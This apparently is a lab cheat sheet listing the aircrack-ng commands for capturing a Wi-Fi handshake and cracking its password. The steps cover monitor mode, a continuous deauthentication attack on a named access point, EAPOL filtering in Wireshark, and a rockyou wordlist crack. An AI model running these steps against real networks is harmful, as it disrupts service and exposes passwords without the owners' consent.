Labs:

# Airmon-ng:

**Commands used:**

================

* See version of Kali
* cat /etc/os-release
* uname -a
* See interfaces
* ip addr
* iwconfig
* kill processes
* sudo airmon-ng check kill
* Start monitor mode
* sudo airmon-ng start wlan0
* Verify that monitor mode is used
  + sudo airmon-ng
* You could also use iwconfig to check that interface is in monitor mode:
  + iwconfig
* Get the AP's MAC address and channel
  + sudo airodump-ng wlan0mon
* AP-MAC & channel - you need to select your own here:
  + ESSID: 90:9A:4A:B8:F3:FB
  + Channel used by AP for SSID: 2
* 1st Window:
* Make sure you replace the channel number and bssid with your own
* Replace hack1 with your file name like capture1 or something
  + sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon
* 2nd Window - deauth attack
* Make sure you replace the bssid with your own
  + sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon
* Use Wireshark to open hack file
  + wireshark hack1-01.cap
  + Filter Wireshark messages for EAPOL
    - eapol
* Stop monitor mode
  + airmon-ng stop wlan0mon
* Crack file with Rock you or another wordlist
* Make sure you have rockyou in text format (unzip file on Kali)
* Replace hack1-01.cap with your file name
  + aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt